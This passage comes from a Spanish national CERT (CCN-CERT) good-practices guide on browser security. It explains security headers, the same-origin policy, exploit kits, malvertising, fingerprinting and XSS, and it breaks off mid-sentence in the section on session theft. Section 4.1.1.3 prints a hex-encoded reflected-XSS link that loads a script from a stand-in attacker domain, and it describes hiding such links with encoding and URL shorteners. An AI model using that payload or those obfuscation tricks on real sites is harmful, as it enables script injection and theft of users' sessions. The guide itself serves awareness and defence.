CCN-CERT BP-06-16 Navegadores Web PDF

SIN CLASIFICAR
Buenas Prácticas
CCN-CERT BP-06/16
Navegadores web
Noviembre de 2016
SIN CLASIFICAR
SIN CLASIFICAR
CCN-CERT BP-06/16 Buenas Prácticas en navegadores web
CENTRO CRIPTOLOGICO NACIONAL

2.5.4.13=Qualified Certificate: AAPP-SEP-M-SW-KPSC,
ou=sello electrónico, serialNumber=S2800155J,
o=CENTRO CRIPTOLOGICO NACIONAL, cn=CENTRO
CRIPTOLOGICO NACIONAL, c=ES
2016.11.14 13:34:09 +01'00'
LIMITACIÓN DE RESPONSABILIDAD
El presente documento se proporciona de acuerdo con los términos en él recogidos,
rechazando expresamente cualquier tipo de garantía implícita que se pueda encontrar
relacionada. En ningún caso, el Centro Criptológico Nacional puede ser considerado
responsable del daño directo, indirecto, fortuito o extraordinario derivado de la utilización de la
información y software que se indican incluso cuando se advierta de tal posibilidad.
AVISO LEGAL
Quedan rigurosamente prohibidas, sin la autorización escrita del Centro Criptológico Nacional,
bajo las sanciones establecidas en las leyes, la reproducción parcial o total de este documento
por cualquier medio o procedimiento, comprendidos la reprografía y el tratamiento informático,
y la distribución de ejemplares del mismo mediante alquiler o préstamo públicos.
SIN CLASIFICAR
SIN CLASIFICAR
ÍNDICE
1. SOBRE CCN-CERT ................................................................................................................... 5
2. INTRODUCCIÓN ...................................................................................................................... 5
3. COMPONENTES Y TECNOLOGÍAS DE SEGURIDAD DEL NAVEGADOR ................................ 6
3.1 Cabeceras HTTP ......................................................................................................................6
3.1.1 HTTP Strict Transport Security.........................................................................................7
3.1.2 Content-Security-Policy .................................................................................................7
3.1.3 X-Content-Type-Options ...............................................................................................8
3.1.4 X-XSS-Protection ..............................................................................................................9
3.1.5 Secure / HTTPOnly flags .................................................................................................9
3.1.6 X-Frame-Options .............................................................................................................9
3.2 Política del mismo origen (SOP) ....................................................................................... 10
3.3 Plugins y extensiones ........................................................................................................... 11

4. ATAQUES COMUNES CONTRA EL NAVEGADOR ................................................................ 13
4.1 Exploits ................................................................................................................................... 13
4.1.1 Control del navegador .............................................................................................. 13
4.1.1.1 Infección de sitios web legítimos ........................................................................ 13
4.1.1.2 Técnicas de malvertising ...................................................................................... 14
4.1.1.3 Técnicas de ingeniería social .............................................................................. 14

4.1.2 Técnicas de fingerprinting ......................................................................................... 15
4.1.3 Exploit Kits ...................................................................................................................... 16
4.2 Ataques Cross Site Scripting .............................................................................................. 18

4.2.1 Robo de sesiones ......................................................................................................... 19
4.2.2 Ataques con JavaScript (BeEF) ................................................................................ 20
4.3 Ataques Man in the Middle ............................................................................................... 20

4.3.1 SSL Stripping .................................................................................................................. 22
4.3.2 HTTP Strict Transport Security...................................................................................... 23
4.3.3 Downgrade attacks .................................................................................................... 23
5. RECOMENDACIONES DE SEGURIDAD ................................................................................. 23
5.1 Actualizaciones del navegador y plugins ...................................................................... 24
5.1.1 Click To Play .................................................................................................................. 25
5.2 Software para mitigar exploits .......................................................................................... 25
5.3 HSTS y HTTPS Everywhere .................................................................................................... 26
5.4 Protección de las sesiones................................................................................................. 26
SIN CLASIFICAR
SIN CLASIFICAR
5.5 Contraseñas almacenadas .............................................................................................. 28
5.6 Certificate Pinning ............................................................................................................... 29
5.7 Otras recomendaciones de carácter genérico ........................................................... 32

6. RECOMENDACIONES DE PRIVACIDAD ............................................................................... 32
6.1 Técnicas de seguimiento ................................................................................................... 32
6.2 Modo privado de navegación ........................................................................................ 36

7. DECÁLOGO DE RECOMENDACIONES ................................................................................ 38
8. ANEXO A. REFERENCIAS ...................................................................................................... 39
SIN CLASIFICAR
SIN CLASIFICAR
1. SOBRE CCN-CERT
El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a incidentes
de Seguridad de la Información del Centro Criptológico Nacional, CCN. Este servicio se
creó en el año 2006 como CERT Gubernamental Nacional español y sus funciones
quedan recogidas en la Ley 11/2002 reguladora del Centro Nacional de Inteligencia,
el RD 421/2004 de regulación del CCN y en el RD 3/2010, de 8 de enero, regulador del
Esquema Nacional de Seguridad, modificado por el RD 951/2015, de 23 de octubre.
De acuerdo a todas ellas, el CCN-CERT tiene responsabilidad en ciberataques

sobre sistemas clasificados y sobre sistemas de las Administraciones Públicas y de
empresas y organizaciones de interés estratégico para el país. Su misión, por tanto, es
contribuir a la mejora de la ciberseguridad española, siendo el centro de alerta y
respuesta nacional que coopere y ayude a responder de forma rápida y eficiente a los
ciberataques y a afrontar de forma activa las ciberamenazas.
2. INTRODUCCIÓN
En apenas 25 años el navegador ha pasado de interpretar lenguajes de marcas
como HTML a ser una herramienta realmente compleja que implementa multitud de
medidas de seguridad y funcionalidades que van más allá del renderizado de páginas
o la visualización de contenido multimedia.
En una época en la que cualquier usuario accede a su cuenta bancaria, realiza

transacciones o compra todo tipo de productos a través de la Web no es de extrañar
que los ciberdelincuentes hayan focalizado sus ataques en el navegador Web. Las
múltiples vías de ataque que pueden llevarse a cabo para conseguir que el usuario
ejecute código dañino, la facilidad para evadir medidas de seguridad tales como
firewalls, IDS, etc., así como las posibilidades de post-explotación que ofrece el
navegador hacen de éste un objetivo más que apetecible para los delincuentes.
El uso de lenguajes de scripting tales como JavaScript suelen ser el punto de

partida más recurrido para obtener control sobre el navegador del usuario y llevar a
cabo todo tipo de acciones dañinas sobre el mismo.
Asimismo, la gran variedad de APIs proporcionadas por HTML5, actualmente

soportada por la mayoría de navegadores, ha aumentado significativamente las
técnicas y las posibilidades ofensivas de los atacantes.
Por otro lado, el uso de exploits para conseguir ejecutar código y hacerse con el
control, no sólo del navegador, sino del equipo al completo es otro de los métodos de
infección más utilizados actualmente.
Eventos de hacking como el Pwn2Own [Ref.- 1]permiten a las empresas corregir

fallos de seguridad críticos mientras compensan económicamente a los participantes.
No obstante, existen cierto tipo de mercados en los cuales se comercializan exploits
[Ref.- 2] para este tipo de vulnerabilidades por cifras muy superiores. Ciberdelincuentes
y grupos organizados recurren a este tipo de exploits para adquirir nuevos recursos con
los que infectar un elevado número de usuarios.
SIN CLASIFICAR
SIN CLASIFICAR
Dado que actualmente el navegador Web está expuesto a este tipo de peligros
la presente guía tiene como objetivo, por un lado, concienciar al usuario sobre las
técnicas más utilizadas por los cibercriminales y, por otro, ofrecer un conjunto de
pautas para reducir la superficie de ataque de dichas acciones dañinas.
3. COMPONENTES Y TECNOLOGÍAS DE SEGURIDAD DEL NAVEGADOR

Básicamente el navegador Web utiliza un enfoque denominado cliente-servidor
el cual se basa en enviar peticiones a un servicio Web para posteriormente procesar la
respuesta recibida y “pintarla” de forma gráfica al usuario. Lenguajes de marcas como
HTML o XML son los medios más utilizados para transmitir el contenido proporcionado
por los servicios Web.
Asimismo, el lenguaje de hojas de estilo en cascada (CSS) participa de forma

cotidiana en dicho modelo para instruir al navegador el estilo del contenido que debe
representar. Todos estos componentes son utilizados por el motor de renderizado del
navegador para mostrar una representación gráfica al usuario. Actualmente los
motores WebKit, Blink, Trident, y Gecko representan las tecnologías más utilizadas por
los principales navegadores.
Los lenguajes de scripting como JavaScript permiten aplicar cierto dinamismo al

contenido Web gracias a su capacidad para interactuar con el estándar Document
Object Model (DOM) [Ref.- 3] definido por el W3C.
3.1 Cabeceras HTTP

El envío y recepción de los datos utilizados por el navegador irán acompañados
de una serie de cabeceras las cuales dictaminan cómo debe procesarse el contenido
que acompaña a las mismas, bien por el servidor o bien por el navegador web
(dependiendo si es una solicitud del navegador o una respuesta del servidor).
Figura 1. Cabeceras HTTP dominio ccn-cert.cni.es
Nota: actualmente no hace falta recurrir a software de terceros como era necesario
años atrás para poder visualizar los datos enviados y recibidos por el navegador. Hoy
en día, los principales navegadores ya incluyen herramientas de análisis para poder
SIN CLASIFICAR
SIN CLASIFICAR
ver las comunicaciones realizadas por el navegador e incluso para hacer debugging
de lenguajes de scripting.
Es importante entender que tanto el servicio web como el navegador deben de

cooperar juntos para aplicar con éxito las cabeceras de seguridad destinadas a
mejorar la navegación web. Si uno de los dos, bien el cliente o el servidor, no cumple
su trabajo, la directiva solicitada no sería aplicada.
Aunque el número de cabeceras es extenso [Ref.- 4] es recomendable estar

familiarizado con aquellas que instruyen al navegador a aplicar determinadas políticas
de seguridad.
3.1.1 HTTP Strict Transport Security
La política HSTS tiene como objetivo evitar diversos tipos de ataques como, por
ejemplo, SSL stripping (ver punto 4.3.1), downgrade (ver punto 4.3.3), el robo de
sesiones (ver punto 4.2.1), etc. Para ello, el servicio Web comunica mediante la
cabecera "Strict-Transport-Security" al navegador Web que únicamente debe emplear
una conexión HTTPS para comunicarse con su servicio [Ref.- 5].
Figura 2. Cabecera Strict-Transport-Security (http://www.twitter.com)
Algunos navegadores como Chrome, Firefox y Safari traen precargada una lista
de dominios de confianza [Ref.- 6] con los que utilizar de forma predefinida SSL/TLS.
HSTS, además, permitirá bloquear certificados sospechosos; por ejemplo,

certificados que han expirado, que no están firmados por una CA de confianza, que
son auto-firmados, etc. Esta medida ayuda en gran manera a impedir algunos ataques
de tipo Man in the Middle (véase punto 4.3)
Cabe destacar que extensiones como HTTPS Everywhere [Ref.- 7] (véase punto
5.3) sirven de complemento perfecto a la directiva “Strict-Transport-Security” para
evitar el uso de conexiones inseguras (HTTP).
3.1.2 Content-Security-Policy
La política "Content Security" permite controlar y acotar los recursos desde los
cuales los usuarios puede cargar contenido para la página que sirve dicha directiva.
Esta política es bastante útil para reducir el riesgo de ataques XSS (véase punto 4.2).
A continuación, se muestra la política “Content Security” establecida por

Facebook. Fíjese que ésta utiliza diversas directivas aparte de “script-src”; por ejemplo,
“style-src“ permite definir políticas que aplican a las hojas de estilo, connect-to permite
SIN CLASIFICAR
SIN CLASIFICAR
limitar los orígenes a los que el cliente puede conectar vía XHR (XMLHttpRequest),
WebSockets, etc.
Figura 3. Content-Security-Policy (www.facebook.com)
3.1.3 X-Content-Type-Options
Uno de los objetivos más importantes de esta directiva es evitar cierto tipo de
ataques [Ref.- 8] como consecuencia del "content sniffing" llevado a cabo por el
navegador.
El "content sniffing" o "MIME sniffig" es la práctica de inspeccionar de forma

dinámica un conjunto de bytes (magic bytes) asociados a cierto contenido para tratar
de deducir su formato. El problema de esta técnica es que si un atacante consigue
subir código dañino a un sitio web y éste es descargable a través de dicho servicio es
posible, bajo ciertas configuraciones incorrectas, engañar al navegador del usuario
para que ejecute código.
En la siguiente imagen se muestra la interpretación que hace el navegador

cuando éste no recibe la política “X-Content-Type-Options” (imagen de la izquierda) y
cuando sí la recibe (imagen de la derecha). Se observa que cuando éste realiza
“content sniffig” ejecuta el código JavaScript embebido en el mismo.
Figura 4. Content sniffig vs X-Content-Type-Options
SIN CLASIFICAR
SIN CLASIFICAR
3.1.4 X-XSS-Protection
Actualmente, los principales navegadores disponen de funcionalidades built-in

anti-XSS para intentar mitigar XSS reflejados. Google y Safari, por ejemplo, implementan
una tecnología denominada “XSS Auditor” e Internet Explorer una denominada “XSS
Filter”. Los sitios web pueden utilizar la directiva X-XSS-Protection para indicar al
navegador cómo debe utilizar dichos filtros.
3.1.5 Secure / HTTPOnly flags
Los flags “Secure” y “HTTPOnly” tienen como objetivo proteger las cookies de
sesión para evitar ser extraídas o reveladas por un atacante. El flag “Secure” instruye al
navegador a enviar las mismas únicamente por un canal seguro; esto es SSL/TLS. Este
flag impediría que incluso sitios Web que entregan “contenido mezclado”, es decir,
sitios que en principio operan bajo HTTPS pero que contienen enlaces a recursos vía
HTTP, puedan revelar las cookies de sesión.
Por otro lado, el flag “HTTPOnly” impide que las cookies sean accedidas
mediante código JavaScript. Como se describe en el punto 4.2.1 este tipo de ataques
es muy utilizado para obtener de forma remota las cookies de sesión de un usuario
mediante ataques XSS.
Figura 5. Flags Secure/HTTPOnly
3.1.6 X-Frame-Options
Esta directiva se creó con el objetivo de evitar ataques de tipo “UI redressing”
como, por ejemplo, el conocido clickjacking. La idea de este tipo de ataques es que
el usuario haga usa serie de acciones no intencionadas (por ejemplo, ejecutar cierto
script dañino) sin que él mismo sea consciente.
Para ello suelen utilizarse iframes transparentes encima de enlaces, botones, etc.
Cuando el usuario hace clic sobre ellos realmente está ejecutando el enlace
incrustado en el iframe.
Figura 6. Clickjacking
El enlace “Home CCN-CERT” contiene un iframe transparente encima en donde

existe un botón que no es visible al usuario. Si el usuario hace clic en el enlace
SIN CLASIFICAR
SIN CLASIFICAR
realmente está pulsando dicho botón, el cual ejecuta el código JavaScript asociado.
Eliminando la transparencia de dicho iframe es posible ver el engaño de forma más
evidente.
Gracias a la cabecera “X-Frame-Options” el servicio Web puede indicar al

navegador cómo debe gestionar el uso de iframes dentro de la página solicitada.
3.2 Política del mismo origen (SOP)

La política del mismo origen, también conocida como SOP (Same Origin Policy),
es sin duda el control más importante que gobierna el comportamiento del
navegador. El navegador considera que las páginas que contienen el mismo
hostname, esquema y puerto residen en el mismo origen.
Figura 7. Esquema + Hostname + Port
De este modo, si cualquiera de estos tres componentes difiere su origen se

considerará distinto. La idea de SOP es trabajar a modo de sandbox para garantizar
que un documento descargado desde cierto origen, por ejemplo, http://dominio-
ejemplo.com/info.html, no pueda acceder a los recursos (a su estructura DOM) de otro
documento procedente de un origen diferente, por ejemplo, https://dominio-
ejemplo.com/index.html. Fíjese que SOP no consideraría el mismo origen en ambos
recursos ya que, aunque el dominio y el puerto es el mismo el esquema es diferente:
HTTP en un caso y HTTPS en otro.
Nota: a diferencia de otros navegadores, Internet Explorer no incluye el puerto dentro

de los componentes de SOP. Asimismo, IE delega parte de esta política a los “Sitios de
Confianza” (Trust Zones).
Si este control no existiera, la navegación web no sería en absoluto segura. Una

página dañina podría, por ejemplo, acceder a la ventana de otra página abierta por
el usuario. Por ejemplo, si el usuario abriese la página de su banco, sería posible
recuperar sus datos bancarios, obtener sus credenciales, realizar operaciones, etc.
Aunque SOP pueda parecer una política simple, implica un complejo

mecanismo de seguridad que representa uno de los pilares principales del navegador
web y que tiene que convivir con otras tecnologías y funcionalidades.
Por ejemplo, CORS (Cross-origin Resource Sharing) permite añadir cierta

flexibilidad a SOP, de forma que un servicio web pueda especificar los orígenes desde
los cuales pueda solicitarse acceso a sus recursos. Esto se consigue gracias a la
cabecera “Access-Control-Allow-Origin”.
Este mecanismo es el que permite, por ejemplo, que ciertas páginas puedan
hacer uso de APIs de terceros como Google, Facebook, etc.
10
SIN CLASIFICAR
SIN CLASIFICAR
Nota: herramientas de hacking como BeEF se aprovechan de CORS [Ref.- 9] para

poder centralizar la comunicación del servidor con los navegadores comprometidos
(mediante Access-Control-Allow-Origin: *)
Además de estos mecanismos, existen ciertas APIs que, aunque respetan SOP,
permiten la comunicación entre orígenes diferentes. Por ejemplo, el método
PostMessage (implementada en HTML5) puede ser utilizado para "hablar" por medio de
iframes entre varios orígenes.
La gestión inter-origen es un mecanismo bastante complejo cuya gestión

depende directamente del navegador web. De hecho, no son escasas las
vulnerabilidades críticas [Ref.- 10] que se han producido en diversos navegadores para
evadir SOP.
Téngase que cuenta que también los plugins están sujetos a dichas
vulnerabilidades. Plugins como Adobe Reader, Adobe Flash, Java o Silverlight
implementan también SOP de forma independiente y bajo su propio criterio (por
ejemplo, algunas versiones de Java consideran que dos dominios diferentes que
compartan una misma IP pertenecen al mismo origen, lo cual puede ser objeto de
ciertos ataques en entornos de hosting donde diversos dominios usan la misma IP).
3.3 Plugins y extensiones

Aunque a veces estos dos conceptos se usan de manera intercambiable
realmente existe poca relación entre ellos.
Un plugin es un software que se ejecuta de forma independiente al navegador.

Es decir, fuera de su espacio de direcciones. Generalmente el navegador ejecuta los
plugins si el servicio web hace referencia a los mismos por medio de las etiquetas
<embed>, <object> o, en algunos casos, la directiva content-type.
Figura 8. Invocar Flash plugin vía “object”
Algunos de los plugins más utilizados son Flash Player, Java y Silverlight. Uno de los
principales problemas de los plugins es que aumentan significativamente la exposición
a determinado tipo de ataques durante la navegación web.
Algunos de estos plugins contienen un gran número de vulnerabilidades críticas

que permiten a los atacantes ejecutar código en el equipo de la víctima. Tan sólo
hace falta que el usuario haga clic o navegue hasta una página dañina para que su
equipo sea comprometido (sin necesidad siquiera de descargar o interactuar con la
página en cuestión).
Véase, a modo de ejemplo, el número de vulnerabilidades asociada a Flash

Player en los últimos 10 años. Teniendo en cuenta estos datos, no es de extrañar que
Flash haya sido uno de los objetivos más utilizados por los atacantes para
comprometer equipos a través del navegador. La criticidad de algunas de estas
11
SIN CLASIFICAR
SIN CLASIFICAR
vulnerabilidades ha dado lugar a que los propios navegadores implementen medidas

para evitar la ejecución de plugins desactualizados o vulnerables.
Figura 9. Vulnerabilidades Flash Player (www.cvedetails.com)
Otros navegadores como Google Chrome han tomado otra vía diferente para
proporcionar más estabilidad, seguridad y velocidad a su navegador. Para ello, a
partir de septiembre de 2015 (versión 45), ha terminado su soporte a NPAPI (Netscape
Plugin Application Programming Interface), en la cual se apoyan plugins como Java o
Flash, al considerar dicha tecnología insegura y obsoleta.
En su lugar, Chrome se apoya en un sistema más reciente y, según sus

desarrolladores, más seguro, denominado Pepper API (PPAPI). Una de las principales
ventajas [Ref.- 11] de este cambio es que los complementos ejecutados con esta API
pueden aprovecharse de las medidas de seguridad que implementa el navegador
(sandboxing, aceleración GPU, etc.).
A diferencia de los plugins, las extensiones no son más que módulos adicionales
que pueden incorporarse al navegador para añadir o eliminar alguna funcionalidad,
es decir, que existen dentro del espacio de direcciones del mismo proceso.
Esta característica, sin embargo, no les exime de ser objeto también de

vulnerabilidades [Ref.- 12]. Un gran número de extensiones están desarrolladas en
JavaScript y XUL (XML User Interface Language).
Otra diferencia importante respecto a los plugins es que las extensiones pueden
influir en cada página que el navegador cargue (y no únicamente en aquellas que
explícitamente lo requieran).
Pese a que los navegadores actuales suelen contar con gran variedad de
funcionalidades adicionales (filtros-antiphishing, antimalware, etc.) las extensiones son
una forma fácil de integrar funcionalidades extra de todo tipo al navegador; por
ejemplo, la extensión uMatrix permite mejorar la privacidad del navegador
permitiendo al usuario decidir qué conexiones pueden establecerse y qué tipo de
datos acepta o envía el navegador; la extensión TamperData permite visualizar y
12
SIN CLASIFICAR
SIN CLASIFICAR
modificar los headers y parámetros HTTP/HTTPS, etc. En los apartados 5 y 6 se

recomiendan ciertas extensiones para aumentar el nivel de seguridad y privacidad en
la navegación web.
4. ATAQUES COMUNES CONTRA EL NAVEGADOR

Una de las recomendaciones de seguridad más repetidas y extendidas es evitar
la descarga y ejecución de ficheros procedentes de fuentes no confiables. Sin
embargo, existen otro tipo de peligros a los que el usuario puede exponerse y en los
que ni siquiera es necesario interacción por parte del mismo.
Aunque actualmente los navegadores hacen uso de diversas tecnologías para

alertar al usuario e impedir el acceso a páginas dañinas (por ejemplo, el Safe Browsing
de Google) existen vectores de ataque que complican enormemente su detección:
técnicas watering hole, malvertising, ingeniería social, etc.
4.1 Exploits
Entre todos los ataques posibles que puede sufrir un usuario a través del
navegador web la ejecución de código por medio de un exploit es, sin duda, el más
crítico. Mediante un exploit, el atacante se aprovecha de determinada vulnerabilidad
para inyectar código dañino en el equipo.
Generalmente, ese código dañino (denominado payload) será el responsable

de infectar el equipo con un espécimen determinado (un ransomware, un troyano
bancario, etc.). En este escenario, el usuario únicamente requiere visitar una página
web para que su equipo, al completo, sea comprometido. Para que este ataque
tenga éxito el atacante debe conseguir los siguientes hitos:
• Control del navegador: el atacante necesitará que la víctima acceda a

la página web vulnerable.
• Fingerprinting del navegador: el atacante intentará deducir las versiones

del navegador, así como de los plugins instalados para elegir el exploit
apropiado.
4.1.1 Control del navegador
4.1.1.1 Infección de sitios web legítimos

Existen diversas vías de infección, una de las más efectivas es comprometer sitios
web con un número de visitas muy elevado. Este vector de infección es utilizado
también cuando el atacante tiene un objetivo determinado, por ejemplo, una
compañía en concreto, determinada persona, etc.
Si el atacante conoce los patrones de navegación de su víctima, puede invertir

tiempo en buscar vulnerabilidades en alguna de las páginas visitadas por el mismo. Si
consigue comprometerla únicamente tendrá que añadir cierto código dañino y
esperar a que el objetivo se conecte. Esta vía de infección se conoce como watering
hole.
13
SIN CLASIFICAR
SIN CLASIFICAR
Tras encontrar una vulnerabilidad en el servidor Web, el atacante cuenta con

diversas opciones pare redirigir a los usuarios a un servidor de control: mediante un
iframe, JavaScript, una directiva redirect 302 en el servidor, etc.
4.1.1.2 Técnicas de malvertising

Otro método comúnmente utilizado por los atacantes es el conocido
malvertising. Esta vía de infección consiste en ejecutar código dañino por medio de
anuncios, aparentemente inofensivos, distribuidos en un gran número de páginas.
Los atacantes se ponen en contacto con compañías encargadas de vender

espacios publicitarios para distribuir sus falsos anuncios. Cuando el usuario visita cierta
página legítima con alguno de estos anuncios el código dañino (generalmente
JavaScript) comienza su ejecución.
Nota: en marzo de este año compañías de gran renombre como New York Times, BBC
o AOL fueron víctimas de una campaña de malvertising a gran escala en donde
determinada red de anuncios fue utilizada para redirigir a los usuarios a Exploit Kits que
descargaban cierto ransomware en el equipo de las víctimas.
Algunos de estos banners utilizan técnicas de fingerprinting para ejecutar código

de forma condicional. En estos casos, el banner publicitario, incluso si es revisado de
manera manual, parece totalmente legítimo.
Únicamente entra en juego el código JavaScript (por ejemplo, para redirigir al

usuario a un Exploit Kit) cuando el cliente que visita la página presenta determinadas
características (user-agent, campo referer, IP, geolocalización, etc.). En ocasiones, las
técnicas de malvertising suelen combinarse con otras denominadas domain
shadowing [Ref.- 13] para dificultar la trazabilidad de los atacantes. Este último término
hace referencia al robo de credenciales asociadas a cuentas de dominios para crear
una infraestructura de ataque más sofisticada.
La idea es utilizar dichas credenciales (asociadas a uno o varios dominios

legítimos) para crear múltiples subdominios los cuales se encargan de redireccionar a
los usuarios hacia servidores de control operados por los ciberdelincuentes. Estos
subdominios son rotados a modo de fast-flux para eludir filtros de reputación.
4.1.1.3 Técnicas de ingeniería social

Las técnicas de ingeniería social es otro de los recursos más recurridos y efectivos
para conseguir acceso al navegador del usuario, por ejemplo, mediante el envío
masivo de correos electrónicos a un gran número de usuarios.
Es común que dichos correos contengan algún asunto de interés que genere
cierta curiosidad al usuario o bien que traten de usurpar la identidad de una
organización o usuario conocido. El objetivo final es que el usuario descargue y
ejecute un fichero dañino o bien haga clic en una URL controlada por el atacante.
Nota: para conocer en profundidad las técnicas de ingeniería social más utilizadas por
los atacantes para comprometer usuarios mediante el correo electrónico remítase a la
guía del CCN-CERT “Buenas Prácticas en correo electrónico BP-02/16” [Ref.- 14]
14
SIN CLASIFICAR
SIN CLASIFICAR
Las URL empleadas suelen ser dominios creados por los atacantes con un
nombre similar al sitio legítimo que tratan de usurpar, o bien con un nombre que no
genere desconfianza. Sin embargo, a veces pueden recurrirse a vulnerabilidades XSS
reflejadas (véase punto 4.2) de dominios legítimos para conseguir inyectar código
JavaScript en el navegador.
El hecho de utilizar un dominio legítimo ofrece varias ventajas. Primero, el usuario

no desconfía del enlace ya que observa un dominio conocido. Segundo,
determinadas herramientas de seguridad que parsean enlaces para detectar
dominios dañinos son eludidas.
Para ocultar el enlace dañino del parámetro vulnerable y hacer el enlace más
creíble, el atacante puede aplicar cierta codificación al código JavaScript (por
ejemplo, convertirlo a hexadecimal) de forma que el enlace adquiera la siguiente
forma
http://www.pagina-legitima.com/profile.jsp?user=%3C%73%63%72%69%70%74%25%32%30%73%72%63%3D%68
%74%74%70%3A%2F%2F%61%74%61%63%6B%65%72%2D%64%6F%6D%61%69%6E%2E%63%6F%6D%2F%66%69%6
C%65%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
Nota: otra técnica a la que suele recurrir los atacantes es utilizar servicios de
acortadores de URL. Mediante estos servicios el atacante consigue una versión
reducida de la URL bajo un dominio distinto. De este modo es posible ocultar los
parámetros JavaScript que podrían levantar sospechas en el usuario. Por ejemplo,
utilizando el servicio Bitly, el anterior enlace con el XSS reflejado se convertiría en:
http://bit.ly/2ezrxFP.
Figura 10. Página dañina acortada con el servicio Bitly
4.1.2 Técnicas de fingerprinting
Una vez que el navegador del usuario es controlado por el atacante mediante
alguna de las vías previamente descritas se ejecutarán una serie de comprobaciones
para obtener información de las versiones de los plugins y del propio navegador.
Con esa información el atacante podrá ejecutar el exploit adecuado para

conseguir acceso al equipo. De nuevo, JavaScript suele ser el recurso más utilizado
para llevar a cabo esta tarea.
Los header HTTP y las propiedades DOM son también aprovechadas para
obtener información del propio navegador. Por ejemplo, aunque el user-agent es una
cabecera fácilmente falsificable no es muy común que sea modificada por los
usuarios. De este modo, si el atacante recibe un user-agent como el mostrado a
continuación puede deducir que el usuario está utilizando la versión de Iceweasel 38.5
desde de un equipo Linux 64 bits.
15
SIN CLASIFICAR
SIN CLASIFICAR
Figura 11. User-agent (tipo y versión navegador)
Nota: incluso si el user-agent es falsificado puede deducirse en ocasiones el tipo de

navegador utilizado a partir del orden de los header enviados. Por ejemplo, un
navegador puede enviar la cabecera user-agent o la cabecera host en un orden
distinto al que lo envía otro navegador.
Otras cabeceras ofrecen información no sólo del navegador sino de ciertos

componentes del propio sistema operativo. Por ejemplo, el siguiente user-agent
informa de las versiones del framework .NET instaladas.
Figura 12. User-agent (componentes .NET)
Además de las cabeceras, la disponibilidad o no de ciertas propiedades DOM

permiten conocer la versión del navegador empleado.
Cabe destacar que los plugins y extensiones no quedan exentos de este tipo de
técnicas gracias a la información que proporcionan ciertas APIs DOM. Por ejemplo,
navigator.plugins devuelve un array de objetos con cada uno de los plugins instalados
por el navegador. Recorriendo dicho array pueden conocerse fácilmente los plugins
disponibles.
Figura 13. Navigator.plugins
4.1.3 Exploit Kits
El último paso consiste en ejecutar el exploit correspondiente con el payload

deseado para obtener el control de la máquina de la víctima.
Por medio de plataformas muy sofisticadas, conocidas como Exploit Kits (EK)
[Ref.- 15], los atacantes son capaces de automatizar gran parte del proceso descrito
anteriormente. Este tipo de plataformas de ataques son vendidas o alquiladas en
ciertos mercados underground para que puedan ser utilizadas por otros
ciberdelincuentes para sus propios intereses.
16
SIN CLASIFICAR
SIN CLASIFICAR
Figura 14. Exploit-kits Tendencias. Fuente: http://www.trendmicro.com/
Nota: aunque éstos son los EK más extendidos existen implementaciones de EK

utilizados de forma individual por determinados grupos de atacantes. Por ejemplo, el
conocido grupo de ciberespeionaje APT28 (Sofacy/Sednit) dispone de su propia
implementación de EK (apodado como Sedkit por ESET) para atacar de forma dirigida
a sus objetivos.
El hecho de que los responsables de EK mantengan todavía exploits para

vulnerabilidades antiguas es un indicador del que se infiere que muchos usuarios
todavía disponen de navegadores con versiones de Flash vulnerables.
El siguiente esquema recoge de forma esquemática cómo los cibercriminales

que hacen uso de este tipo de plataformas infectan a los usuarios.
• Un atacante lleva a cabo el comprometimiento de un sitio web vulnerable (por

medio de exploits, SQLi, etc.) o bien consigue posicionar determinado anuncio
dañino.
• El usuario se conecta al sitio web comprometido.
• El usuario, de forma transparente, es redirigido a un servidor TDS (Traffic
Directing Server). El objetivo de este tipo de servidores es valorar si la víctima es
de interés. En ocasiones dicha comprobación se realiza desde la propia página
comprometida o bien por medio de servidores intermedios. Generalmente, se
consideran características como la dirección IP, el user-agent del navegador,
la directiva referer, etc. para valorar la “explotabilidad” del usuario.
• Si el usuario es considerado de interés su navegador es redirigido de nuevo
para la instalación del Exploit Kit.
• El Exploit Kit analiza el navegador y sus plugins para identificar alguna
vulnerabilidad. En caso de existir un componente vulnerable lanzará el exploit
adecuado para infectar al usuario.
17
SIN CLASIFICAR
SIN CLASIFICAR
• El payload utilizado contiene código para bajar cierto malware de un nuevo

servidor. Tras su descarga se ejecutará comprometiendo así el equipo del
usuario. Todo este proceso se realiza de forma transparente al usuario y sin
necesidad de interactuar con ningún objeto (botón, cuadro de diálogo, etc.)
Figura 15. Esquema Exploit Kit
Herramientas de exploiting como Metasploit disponen también de

funcionalidades para emular un servicio web desde el cual es posible explotar
vulnerabilidades en el navegador/plugins de los usuarios conectados.
4.2 Ataques Cross Site Scripting

Un ataque de Cross Site Scripting o XSS consiste en la inclusión de código dañino
(JavaScript, HTML, VBScript, etc.) en formularios web o parámetros de URLs con el
objetivo de que dicho código sea posteriormente interpretado y ejecutado por el
navegador del usuario afectado.
Este tipo de ataques es habitual en aplicaciones en las que existe un alto nivel de
interacción con el usuario, como foros, blogs o medios digitales. El usuario puede ser
víctima de tres tipos de ataques XSS:
• No Persistente o Reflejado: por lo general el atacante utiliza código

JavaScript en algún parámetro vulnerable de determinada web. Este
enlace es enviado a la víctima a través de cualquier soporte: página
web, mensaje de correo electrónico, mensaje instantáneo, conversación
de chat, documento Word o PDF, etc. con el objetivo de que haga clic
sobre el mismo.
• Persistente o Almacenado: el código JavaScript está embebido en la

página web visitada por la víctima, la cual no necesita seguir ningún
enlace para que se ejecute el código, basta con que la visite. Aparece
típicamente en sitios en los que los usuarios pueden añadir contenidos:
18
SIN CLASIFICAR
SIN CLASIFICAR
comentarios, mensajes en foros, perfiles, descripciones, etiquetas,

mensajes de correo, etc.
• XSS basado en DOM: en este caso el atacante consigue ejecutar el

payload modificando alguno de los elementos DOM de la página;
generalmente document.url, document.location o document.referer.
Dado que existe la posibilidad de representar los datos de entrada de múltiples

formas, como, por ejemplo: ASCII, hexadecimal, Unicode, etc., estos ataques pueden
emplear diferentes técnicas de codificación que les ayuden a evadir determinados
mecanismos de seguridad. Por ejemplo, el carácter ‘<’, comúnmente filtrado, puede
también representarse de las siguientes maneras: %3C, <, &lt, etc.
4.2.1 Robo de sesiones
Un XSS persistente en determinado foro privado, a diferencia de los XSS

reflejados, permite que el código introducido por el usuario sea almacenado en el
servidor web. En este caso, cada vez que un usuario del foro visualice el campo
vulnerable estará expuesto al código introducido por el atacante.
Tal y como se muestra en la siguiente figura, los campos correspondientes a los

datos personales de los usuarios registrados no son correctamente filtrados,
permitiendo así la inyección de código JavaScript.
Figura 16. XSS persistente
Si en lugar de introducir el código JavaScript anterior el atacante introduce la

